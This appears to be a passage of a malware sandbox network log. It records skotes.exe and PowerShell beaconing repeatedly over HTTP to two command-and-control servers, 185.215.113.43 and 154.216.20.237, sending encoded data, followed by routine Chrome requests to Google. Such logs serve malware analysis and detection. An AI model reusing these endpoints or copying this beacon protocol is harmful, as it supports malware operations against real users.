Nov 30, 2024 22:56:04.644598007 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:56:06.008799076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.9	50120	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:05.494705915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:06.929975986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.9	50121	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:07.798098087 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:09.187465906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.9	50122	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:08.610374928 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:56:09.993666887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.9	50123	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:10.832321882 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:56:12.141293049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.9	50124	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:11.772136927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:13.212529898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.9	50125	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:13.932663918 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:15.277404070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.9	50126	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:14.961091995 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:56:16.345691919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.9	50127	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:16.911183119 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:56:18.314265966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.9	50128	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:18.119803905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:19.547267914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.9	50129	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:20.084018946 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:21.382716894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	50130	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:21.192955017 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:56:22.529086113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	50131	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:23.031016111 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:56:24.376733065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	50132	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:24.301757097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:25.662498951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.9	50133	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:26.575093031 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:27.907059908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	50134	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:27.385607958 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:56:28.779654980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.9	50136	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:29.581152916 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:56:30.990307093 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.9	50137	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:30.538527966 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:31.961366892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49711	172.217.21.36	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:52:37 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlKHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 21:52:38 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:38 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-gNJoeOmvmkM5pJbNi3T7cw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-30 21:52:38 UTC	124	IN	Data Raw: 33 31 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 65 61 74 68 65 72 20 6c 61 6b 65 20 65 66 66 65 63 74 20 73 6e 6f 77 22 2c 22 73 74 61 6e 66 6f 72 64 20 66 6f 6f 74 62 61 6c 6c 20 61 6e 64 72 65 77 20 6c 75 63 6b 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 33 30 22 2c 22 72 75 73 73 69 61 6e 20 61 6e 64 20 63 Data Ascii: 31d)]}'["",["weather lake effect snow","stanford football andrew luck","nyt connections hints november 30","russian and c
2024-11-30 21:52:38 UTC	680	IN	Data Raw: 68 69 6e 65 73 65 20 62 6f 6d 62 65 72 73 22 2c 22 63 72 6f 70 20 63 6f 75 72 73 65 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 72 65 77 61 72 64 73 22 2c 22 72 65 61 6c 20 76 61 6c 6c 61 64 6f 6c 69 64 20 76 73 20 61 74 6c c3 a9 74 69 63 6f 20 6d 61 64 72 69 64 22 2c 22 63 6c 65 76 65 6c 61 6e 64 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 2c 22 61 72 63 61 6e 65 20 73 32 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 Data Ascii: hinese bombers","crop course monopoly go rewards","real valladolid vs atltico madrid","cleveland weather forecast","arcane s2"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vh
2024-11-30 21:52:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	172.217.21.36	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:52:37 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49709	172.217.21.36	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:52:37 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlKHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
